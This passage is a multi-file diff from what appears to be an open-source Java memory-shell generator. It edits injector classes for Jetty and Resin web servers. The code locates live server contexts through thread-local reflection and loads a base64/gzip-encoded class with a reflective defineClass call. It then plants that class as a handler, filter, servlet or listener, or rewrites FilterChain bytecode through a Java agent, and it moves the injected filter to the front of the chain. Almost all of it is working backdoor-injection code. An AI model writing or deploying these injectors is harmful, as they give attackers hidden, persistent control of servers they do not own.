|
|
||||||
reorderedFilters.add(filter);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
filterList.clear();
|
|
||||||
filterList.addAll(reorderedFilters);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public String toString() {
|
public String toString() {
|
||||||
return msg;
|
return msg;
|
||||||
@@ -154,8 +145,8 @@ public class JettyFilterInjector {
|
|||||||
* org.eclipse.jetty.ee9.webapp.WebAppContext
|
* org.eclipse.jetty.ee9.webapp.WebAppContext
|
||||||
* org.eclipse.jetty.ee10.webapp.WebAppContext
|
* org.eclipse.jetty.ee10.webapp.WebAppContext
|
||||||
*/
|
*/
|
||||||
private List<Object> getContext() throws Exception {
|
public Set<Object> getContext() throws Exception {
|
||||||
List<Object> contexts = new ArrayList<Object>();
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
try {
|
try {
|
||||||
|
|||||||
@@ -0,0 +1,254 @@
|
|||||||
|
package com.reajason.javaweb.memshell.injector.jetty;
|
||||||
|
|
||||||
|
import java.io.ByteArrayInputStream;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.io.PrintStream;
|
||||||
|
import java.lang.reflect.Array;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.InvocationTargetException;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.util.Set;
|
||||||
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
*/
|
||||||
|
|
||||||
|
public class JettyHandlerInjector {
|
||||||
|
|
||||||
|
private static String msg = "";
|
||||||
|
private static boolean ok = false;
|
||||||
|
|
||||||
|
public String getClassName() {
|
||||||
|
return "{{className}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getBase64String() throws IOException {
|
||||||
|
return "{{base64Str}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public JettyHandlerInjector() {
|
||||||
|
if (ok) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
Object server = null;
|
||||||
|
try {
|
||||||
|
server = getServer();
|
||||||
|
} catch (Throwable throwable) {
|
||||||
|
msg += "server error: " + getErrorMessage(throwable);
|
||||||
|
}
|
||||||
|
if (server == null) {
|
||||||
|
msg += "server not found";
|
||||||
|
} else {
|
||||||
|
try {
|
||||||
|
msg += ("server: [" + server + "] ");
|
||||||
|
Object shell = getShell(server);
|
||||||
|
inject(server, shell);
|
||||||
|
msg += "[/*] ready\n";
|
||||||
|
} catch (Throwable e) {
|
||||||
|
msg += "failed " + getErrorMessage(e) + "\n";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
ok = true;
|
||||||
|
System.out.println(msg);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void inject(Object server, Object handler) throws Exception {
|
||||||
|
Object nextHandler = getFieldValue(server, "_handler");
|
||||||
|
if (handler.getClass().isAssignableFrom(nextHandler.getClass())) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
validateHandler(handler);
|
||||||
|
setFieldValue(handler, "nextHandler", nextHandler);
|
||||||
|
setFieldValue(handler, "_server", server);
|
||||||
|
|
||||||
|
setFieldValue(server, "_handler", handler);
|
||||||
|
|
||||||
|
// jetty6
|
||||||
|
try {
|
||||||
|
invokeMethod(invokeMethod(server, "getContainer"), "addBean", new Class[]{Object.class}, new Object[]{handler});
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
|
||||||
|
}
|
||||||
|
// jetty 7/8/9/10/11/12
|
||||||
|
try {
|
||||||
|
invokeMethod(server, "addBean", new Class[]{Object.class, boolean.class}, new Object[]{handler, true});
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void validateHandler(Object shell) throws Exception {
|
||||||
|
Class<?> handlerClass = shell.getClass().getSuperclass();
|
||||||
|
Method rightHandleMethod = null;
|
||||||
|
for (Method method : handlerClass.getMethods()) {
|
||||||
|
if (method.getName().equals("handle")) {
|
||||||
|
rightHandleMethod = method;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
shell.getClass().getMethod(
|
||||||
|
"handle",
|
||||||
|
rightHandleMethod.getParameterTypes()
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public String toString() {
|
||||||
|
return msg;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* org.eclipse.jetty.server.Server
|
||||||
|
*/
|
||||||
|
private Object getServer() throws Exception {
|
||||||
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
|
for (Thread thread : threads) {
|
||||||
|
try {
|
||||||
|
Object table = getFieldValue(getFieldValue(thread, "threadLocals"), "table");
|
||||||
|
for (int i = 0; i < Array.getLength(table); i++) {
|
||||||
|
Object entry = Array.get(table, i);
|
||||||
|
if (entry != null) {
|
||||||
|
Object threadLocalValue = getFieldValue(entry, "value");
|
||||||
|
if (threadLocalValue != null) {
|
||||||
|
if (threadLocalValue.getClass().getName().contains("HttpConnection")) {
|
||||||
|
return invokeMethod(invokeMethod(threadLocalValue, "getConnector"), "getServer");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private Object getShell(Object context) throws Exception {
|
||||||
|
ClassLoader classLoader = context.getClass().getClassLoader();
|
||||||
|
Class<?> clazz = null;
|
||||||
|
try {
|
||||||
|
clazz = classLoader.loadClass(getClassName());
|
||||||
|
} catch (Exception e) {
|
||||||
|
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||||
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
|
defineClass.setAccessible(true);
|
||||||
|
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||||
|
}
|
||||||
|
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||||
|
return clazz.newInstance();
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||||
|
Class<?> decoderClass;
|
||||||
|
try {
|
||||||
|
decoderClass = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||||
|
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||||
|
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||||
|
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||||
|
GZIPInputStream gzipInputStream = null;
|
||||||
|
try {
|
||||||
|
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||||
|
byte[] buffer = new byte[4096];
|
||||||
|
int n;
|
||||||
|
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||||
|
out.write(buffer, 0, n);
|
||||||
|
}
|
||||||
|
return out.toByteArray();
|
||||||
|
} finally {
|
||||||
|
if (gzipInputStream != null) {
|
||||||
|
gzipInputStream.close();
|
||||||
|
}
|
||||||
|
out.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||||
|
for (Class<?> clazz = obj.getClass();
|
||||||
|
clazz != Object.class;
|
||||||
|
clazz = clazz.getSuperclass()) {
|
||||||
|
try {
|
||||||
|
return clazz.getDeclaredField(name);
|
||||||
|
} catch (NoSuchFieldException ignored) {
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||||
|
try {
|
||||||
|
Field field = getField(obj, name);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field.get(obj);
|
||||||
|
} catch (NoSuchFieldException ignored) {
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
|
||||||
|
Field field = getField(obj, fieldName);
|
||||||
|
field.setAccessible(true);
|
||||||
|
field.set(obj, value);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||||
|
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws NoSuchMethodException {
|
||||||
|
try {
|
||||||
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
|
Method method = null;
|
||||||
|
while (clazz != null && method == null) {
|
||||||
|
try {
|
||||||
|
if (paramClazz == null) {
|
||||||
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
|
} else {
|
||||||
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
throw e;
|
||||||
|
} catch (Exception e) {
|
||||||
|
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -8,8 +8,8 @@ import java.lang.reflect.Array;
|
|||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.InvocationTargetException;
|
import java.lang.reflect.InvocationTargetException;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.ArrayList;
|
|
||||||
import java.util.EventListener;
|
import java.util.EventListener;
|
||||||
|
import java.util.HashSet;
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
import java.util.Set;
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
@@ -19,19 +19,25 @@ import java.util.zip.GZIPInputStream;
|
|||||||
*/
|
*/
|
||||||
public class JettyListenerInjector {
|
public class JettyListenerInjector {
|
||||||
|
|
||||||
private String msg = "";
|
private static String msg = "";
|
||||||
|
private static boolean ok = false;
|
||||||
|
|
||||||
public JettyListenerInjector() {
|
public JettyListenerInjector() {
|
||||||
List<Object> contexts = null;
|
if (ok) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
Set<Object> contexts = null;
|
||||||
try {
|
try {
|
||||||
contexts = getContext();
|
contexts = getContext();
|
||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts != null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
|
msg += "context not found";
|
||||||
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
|
||||||
try {
|
try {
|
||||||
|
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||||
Object shell = getShell(context);
|
Object shell = getShell(context);
|
||||||
inject(context, shell);
|
inject(context, shell);
|
||||||
msg += "[/*] ready\n";
|
msg += "[/*] ready\n";
|
||||||
@@ -40,6 +46,7 @@ public class JettyListenerInjector {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
ok = true;
|
||||||
System.out.println(msg);
|
System.out.println(msg);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -68,8 +75,8 @@ public class JettyListenerInjector {
|
|||||||
return "{{base64Str}}";
|
return "{{base64Str}}";
|
||||||
}
|
}
|
||||||
|
|
||||||
private List<Object> getContext() throws Exception {
|
public Set<Object> getContext() throws Exception {
|
||||||
List<Object> contexts = new ArrayList<Object>();
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
try {
|
try {
|
||||||
|
|||||||
@@ -5,8 +5,7 @@ import java.io.ByteArrayOutputStream;
|
|||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.io.PrintStream;
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.*;
|
import java.lang.reflect.*;
|
||||||
import java.util.ArrayList;
|
import java.util.HashSet;
|
||||||
import java.util.List;
|
|
||||||
import java.util.Set;
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
@@ -16,7 +15,8 @@ import java.util.zip.GZIPInputStream;
|
|||||||
*/
|
*/
|
||||||
public class JettyServletInjector {
|
public class JettyServletInjector {
|
||||||
|
|
||||||
private String msg = "";
|
private static String msg = "";
|
||||||
|
private static boolean ok = false;
|
||||||
|
|
||||||
public String getUrlPattern() {
|
public String getUrlPattern() {
|
||||||
return "{{urlPattern}}";
|
return "{{urlPattern}}";
|
||||||
@@ -31,16 +31,21 @@ public class JettyServletInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
public JettyServletInjector() {
|
public JettyServletInjector() {
|
||||||
List<Object> contexts = null;
|
if (ok) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
Set<Object> contexts = null;
|
||||||
try {
|
try {
|
||||||
contexts = getContext();
|
contexts = getContext();
|
||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts != null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
|
msg += "context not found";
|
||||||
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
|
||||||
try {
|
try {
|
||||||
|
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||||
Object shell = getShell(context);
|
Object shell = getShell(context);
|
||||||
inject(context, shell);
|
inject(context, shell);
|
||||||
msg += "[" + getUrlPattern() + "] ready\n";
|
msg += "[" + getUrlPattern() + "] ready\n";
|
||||||
@@ -49,6 +54,7 @@ public class JettyServletInjector {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
ok = true;
|
||||||
System.out.println(msg);
|
System.out.println(msg);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -77,8 +83,8 @@ public class JettyServletInjector {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
private List<Object> getContext() throws Exception {
|
public Set<Object> getContext() throws Exception {
|
||||||
List<Object> contexts = new ArrayList<Object>();
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
try {
|
try {
|
||||||
|
|||||||
@@ -14,9 +14,11 @@ import java.util.zip.GZIPInputStream;
|
|||||||
* @since 2025/3/26
|
* @since 2025/3/26
|
||||||
*/
|
*/
|
||||||
public class ResinFilterChainAgentInjector implements ClassFileTransformer {
|
public class ResinFilterChainAgentInjector implements ClassFileTransformer {
|
||||||
private static final String TARGET_CLASS = "com/caucho/server/dispatch/FilterFilterChain";
|
|
||||||
private static final String TARGET_METHOD_NAME = "doFilter";
|
private static final String TARGET_METHOD_NAME = "doFilter";
|
||||||
|
private static final String[] TARGET_CLASSES = new String[]{
|
||||||
|
"com/caucho/server/http/FilterChainFilter",
|
||||||
|
"com/caucho/server/dispatch/FilterFilterChain",
|
||||||
|
};
|
||||||
public static String getClassName() {
|
public static String getClassName() {
|
||||||
return "{{advisorName}}";
|
return "{{advisorName}}";
|
||||||
}
|
}
|
||||||
@@ -38,17 +40,20 @@ public class ResinFilterChainAgentInjector implements ClassFileTransformer {
|
|||||||
inst.addTransformer(new ResinFilterChainAgentInjector(), true);
|
inst.addTransformer(new ResinFilterChainAgentInjector(), true);
|
||||||
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
|
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
|
||||||
String name = allLoadedClass.getName();
|
String name = allLoadedClass.getName();
|
||||||
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
for (String targetClass : TARGET_CLASSES) {
|
||||||
|
if (targetClass.replace("/", ".").equals(name)) {
|
||||||
inst.retransformClasses(allLoadedClass);
|
inst.retransformClasses(allLoadedClass);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
|
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
|
||||||
ProtectionDomain protectionDomain, byte[] bytes) {
|
ProtectionDomain protectionDomain, byte[] bytes) {
|
||||||
if (TARGET_CLASS.equals(className)) {
|
for (String targetClass : TARGET_CLASSES) {
|
||||||
|
if (className.equals(targetClass)) {
|
||||||
defineTargetClass(loader);
|
defineTargetClass(loader);
|
||||||
try {
|
try {
|
||||||
ClassReader cr = new ClassReader(bytes);
|
ClassReader cr = new ClassReader(bytes);
|
||||||
@@ -60,12 +65,13 @@ public class ResinFilterChainAgentInjector implements ClassFileTransformer {
|
|||||||
};
|
};
|
||||||
ClassVisitor cv = getClassVisitor(cw);
|
ClassVisitor cv = getClassVisitor(cw);
|
||||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||||
System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME);
|
System.out.println("MemShell Agent is working at " + targetClass.replace("/", ".") + "." + TARGET_METHOD_NAME);
|
||||||
return cw.toByteArray();
|
return cw.toByteArray();
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
}
|
||||||
return bytes;
|
return bytes;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -6,7 +6,10 @@ import java.io.IOException;
|
|||||||
import java.io.PrintStream;
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.*;
|
import java.util.HashSet;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.Map;
|
||||||
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -14,7 +17,8 @@ import java.util.zip.GZIPInputStream;
|
|||||||
*/
|
*/
|
||||||
public class ResinFilterInjector {
|
public class ResinFilterInjector {
|
||||||
|
|
||||||
private String msg = "";
|
private static String msg = "";
|
||||||
|
private static boolean ok = false;
|
||||||
|
|
||||||
public String getUrlPattern() {
|
public String getUrlPattern() {
|
||||||
return "{{urlPattern}}";
|
return "{{urlPattern}}";
|
||||||
@@ -29,16 +33,21 @@ public class ResinFilterInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
public ResinFilterInjector() {
|
public ResinFilterInjector() {
|
||||||
List<Object> contexts = null;
|
if (ok) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
Set<Object> contexts = null;
|
||||||
try {
|
try {
|
||||||
contexts = getContext();
|
contexts = getContext();
|
||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts != null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
|
msg += "context not found";
|
||||||
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
|
||||||
try {
|
try {
|
||||||
|
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||||
Object shell = getShell(context);
|
Object shell = getShell(context);
|
||||||
inject(context, shell);
|
inject(context, shell);
|
||||||
msg += "[" + getUrlPattern() + "] ready\n";
|
msg += "[" + getUrlPattern() + "] ready\n";
|
||||||
@@ -47,6 +56,7 @@ public class ResinFilterInjector {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
ok = true;
|
||||||
System.out.println(msg);
|
System.out.println(msg);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -71,7 +81,7 @@ public class ResinFilterInjector {
|
|||||||
* com.caucho.server.webapp.Application
|
* com.caucho.server.webapp.Application
|
||||||
* /usr/local/resin3/lib/resin.jar
|
* /usr/local/resin3/lib/resin.jar
|
||||||
*/
|
*/
|
||||||
public List<Object> getContext() throws Exception {
|
public Set<Object> getContext() throws Exception {
|
||||||
Set<Object> contexts = new HashSet<Object>();
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
@@ -87,7 +97,7 @@ public class ResinFilterInjector {
|
|||||||
contexts.add(webApp);
|
contexts.add(webApp);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return Arrays.asList(contexts.toArray());
|
return contexts;
|
||||||
}
|
}
|
||||||
|
|
||||||
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||||
@@ -129,6 +139,11 @@ public class ResinFilterInjector {
|
|||||||
invokeMethod(urlPattern, "addText", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
invokeMethod(urlPattern, "addText", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
||||||
invokeMethod(urlPattern, "init", null, null);
|
invokeMethod(urlPattern, "init", null, null);
|
||||||
invokeMethod(context, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMappingImpl});
|
invokeMethod(context, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMappingImpl});
|
||||||
|
|
||||||
|
List filterMappings = (List) getFieldValue(getFieldValue(context, "_filterMapper"), "_filterMap");
|
||||||
|
filterMappings.remove(filterMappingImpl);
|
||||||
|
filterMappings.add(0, filterMappingImpl);
|
||||||
|
|
||||||
invokeMethod(context, "clearCache", null, null);
|
invokeMethod(context, "clearCache", null, null);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -186,8 +201,7 @@ public class ResinFilterInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
try {
|
|
||||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
Method method = null;
|
Method method = null;
|
||||||
while (clazz != null && method == null) {
|
while (clazz != null && method == null) {
|
||||||
@@ -204,12 +218,8 @@ public class ResinFilterInjector {
|
|||||||
if (method == null) {
|
if (method == null) {
|
||||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
}
|
}
|
||||||
|
|
||||||
method.setAccessible(true);
|
method.setAccessible(true);
|
||||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
} catch (Exception e) {
|
|
||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
|
|||||||
@@ -6,7 +6,6 @@ import java.io.IOException;
|
|||||||
import java.io.PrintStream;
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.Arrays;
|
|
||||||
import java.util.HashSet;
|
import java.util.HashSet;
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
import java.util.Set;
|
import java.util.Set;
|
||||||
@@ -17,7 +16,8 @@ import java.util.zip.GZIPInputStream;
|
|||||||
*/
|
*/
|
||||||
public class ResinListenerInjector {
|
public class ResinListenerInjector {
|
||||||
|
|
||||||
private String msg = "";
|
private static String msg = "";
|
||||||
|
private static boolean ok = false;
|
||||||
|
|
||||||
public String getClassName() {
|
public String getClassName() {
|
||||||
return "{{className}}";
|
return "{{className}}";
|
||||||
@@ -28,16 +28,21 @@ public class ResinListenerInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
public ResinListenerInjector() {
|
public ResinListenerInjector() {
|
||||||
List<Object> contexts = null;
|
if (ok) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
Set<Object> contexts = null;
|
||||||
try {
|
try {
|
||||||
contexts = getContext();
|
contexts = getContext();
|
||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts != null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
|
msg += "context not found";
|
||||||
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
|
||||||
try {
|
try {
|
||||||
|
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||||
Object shell = getShell(context);
|
Object shell = getShell(context);
|
||||||
inject(context, shell);
|
inject(context, shell);
|
||||||
msg += "[/*] ready\n";
|
msg += "[/*] ready\n";
|
||||||
@@ -46,6 +51,7 @@ public class ResinListenerInjector {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
ok = true;
|
||||||
System.out.println(msg);
|
System.out.println(msg);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -66,7 +72,7 @@ public class ResinListenerInjector {
|
|||||||
return c + "(" + r + ")";
|
return c + "(" + r + ")";
|
||||||
}
|
}
|
||||||
|
|
||||||
public List<Object> getContext() throws Exception {
|
public Set<Object> getContext() throws Exception {
|
||||||
Set<Object> contexts = new HashSet<Object>();
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
@@ -82,7 +88,7 @@ public class ResinListenerInjector {
|
|||||||
contexts.add(webApp);
|
contexts.add(webApp);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return Arrays.asList(contexts.toArray());
|
return contexts;
|
||||||
}
|
}
|
||||||
|
|
||||||
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||||
@@ -175,8 +181,7 @@ public class ResinListenerInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
try {
|
|
||||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
